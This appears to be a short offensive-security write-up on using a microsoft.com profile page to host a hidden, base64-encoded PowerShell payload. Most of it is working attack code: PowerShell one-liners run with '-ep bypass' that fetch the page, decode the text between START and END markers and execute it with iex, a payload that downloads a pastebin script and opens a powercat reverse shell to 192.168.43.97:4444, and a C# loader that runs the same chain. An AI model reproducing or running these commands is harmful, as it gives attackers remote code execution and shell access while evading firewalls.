microsoft.com | Backdoor

enter description here

视频演示:

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poc:

powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\pwn_sauce'


printf '%s' "powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\pwn_sauce'" | base64 | tr -d '\n'


$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/xxxxxxxx -UseBasicParsing;$r = [Regex]::new("(?<=START)(.*)(?=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));iex $p }




PAYLOAD:

IEX (New-Object System.Net.Webclient).DownloadString('https://pastebin.com/raw/xxxxxx’);powercat -c 192.168.43.97 -p 4444 -e cmd


EXP:

printf '%s' "IEX (New-Object System.Net.Webclient).DownloadString('https://pastebin.com/raw/xxxxx’);powercat -c 192.168.43.97 -p 4444 -e cmd" | base64 | tr -d '\n'

STARTXXXXXEND
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using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Collections;
using System.Management.Automation;

namespace ConsoleApp2
{
class Program
{

static void Main(string[] args)

{


PowerShell ps = PowerShell.Create();
ps.AddScript("$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/xxxxx6 -UseBasicParsing;$r = [Regex]::new(\"(?<=START)(.*)(?=END)\");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m.value));iex $p }");
ps.Invoke();


}
}

}

enter description here
https://pastebin.com
https://null-byte.wonderhowto.com/how-to/use-microsoft-com-domains-bypass-firewalls-execute-payloads-0196505/